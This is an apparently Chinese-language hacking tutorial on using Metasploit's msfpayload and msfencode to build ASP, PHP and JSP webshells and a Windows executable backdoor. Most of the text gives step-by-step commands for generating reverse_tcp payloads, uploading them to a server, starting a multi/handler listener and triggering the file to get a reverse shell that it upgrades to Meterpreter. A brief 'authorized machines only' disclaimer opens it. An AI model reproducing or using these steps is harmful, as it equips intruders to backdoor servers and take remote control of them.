| 本文所涉及的方法只能在已授權(quán)的機(jī)器上做測試。Metasploit 擁有msfpayload 和msfencode 這兩個工具,這兩個工具不但可以生成exe 型后門,一可以生成網(wǎng)頁腳本類型的webshell ,通過生成webshell 然后設(shè)置監(jiān)聽器,訪問webshell的url,幸運(yùn)的話可以產(chǎn)生一個session,以便進(jìn)一步利用。
 下面是具體的利用方法。
 我們可以通過指令查看msf里的payload 然后記住其位置:使用如下的指令來產(chǎn)生一個webshell,和前邊將的msfpayload的用法類似,只不過這里生成的是一個網(wǎng)頁腳本文件:
 產(chǎn)生webshell
 
 msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
 然后將此webshell上傳到服務(wù)器(這個步驟要有上傳權(quán)限。)然后啟動msfconsole
 輸入
 use exploit/multi/handler, set PAYLOAD windows/meterpreter/reverse_tcp(這里的payload要和前邊的msfpayload所使用的一樣。)
 set LHOST your_ip
 exploit
 然后訪問webshell的url,這里使用curl 訪問curl http://host/webshell.asp ,如果exploit執(zhí)行成功的話就可以看到msfconsole中有返回meterpreter shell。 但是我使用netbox 搭建asp環(huán)境老是執(zhí)行出錯,希望讀者在實(shí)際驗(yàn)證不出錯后再使用。這里產(chǎn)生的是asp的webshell 也可以產(chǎn)生php webshell,jsp webshell 需要在msfencode時用-t 參數(shù)指定腳本類型,我認(rèn)為php類型的webshell更容易成功。
 另外如果獲取服務(wù)器擁有可以上傳并且執(zhí)行上傳文件的權(quán)限的話,可以上傳一個msfpayload產(chǎn)生的后門,設(shè)置監(jiān)聽,然后執(zhí)行后門,返回一個session然后將session轉(zhuǎn)為meterpreter,這樣就可以方便的使用meter各種特性了。給個步驟:(前提在上邊以及說明了)1、msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/helen.exe
 2、打開msfconsole (另外開一個terminate終端)
 3、設(shè)置監(jiān)聽(監(jiān)聽這個詞好像很高級,別被它嚇到):use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,執(zhí)行exploit
 4、將test.exe 上傳到服務(wù)器
 5、在服務(wù)器上執(zhí)行test.exe 就可以返回一個shell了。
 6、將windows shell 轉(zhuǎn)成 meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一個shell,可以在監(jiān)聽器看到返回了一個windows shell(windows 命令提示符),而不是一個meterpreter shell,這樣就要轉(zhuǎn)換了,方法是 按下Ctrl + z 使 windows shell 后臺運(yùn)行,然后sessions 指令查看 shell 的session是多少
 ,然后執(zhí)行 sessions -u number(number為你找到的windows shell session號。這樣就產(chǎn)生了一個meterpreter shell,可以利用meterpreter強(qiáng)大的功能。也有可能出錯,仔細(xì)看出錯信息然后復(fù)制其一部分google一下。
 可能讀者些疑問:既然可以在上傳執(zhí)行exe文件,為什么要用msf呢,直接上傳一個強(qiáng)大木馬不是更方便么。我想說因?yàn)閙sf 中有個強(qiáng)大的Meterpreter。
 總結(jié),可以發(fā)揮想象,挨個試試payloads有的payloads 不能用,也許有意外的發(fā)現(xiàn)。
 當(dāng)LINUX提權(quán)反彈不了時.經(jīng)常遇到這種情況 請出MSF .. 1 .生成WEBSHELL文件msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
 我的BT4是在/ROOT/ 目錄 然后吧dis9.php加 才能運(yùn)行
 把dis9.php傳進(jìn)你的SHELL里 例如 www./dis9.php
 2 . 然后MSF設(shè)置接口模板和參數(shù)msf > use multi/handler //進(jìn)入 multi/handler 接口
 msf exploit(handler) > set PAYLOAD php/reverse_php //寫入模塊 不清楚的可以先 info php/reverse_php 看看介紹
 msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一樣
 msf exploit(handler) > set LPORT 8080 //同上
 msf exploit(handler) > exploit //執(zhí)行
 3.反彈SHELL然后訪問你的dis9.php
 root@bt4:linkswww./dis9.php
 這樣就會反彈一個SHELL
 我們就可以繼續(xù)FUCK ALL
 /////////////////////////////////////////////////////////////////////////////////////////////////JSP
 msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
 msf > use exploit/multi/handler
 msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
 set PAYLOAD java/jsp_shell_reverse_tcp
 msf exploit(handler) > set LHOST 192.168.10.1
 LHOST => 192.168.10.1
 ——————————————————-
 這里沒SET端口 默認(rèn)的4444
 
 |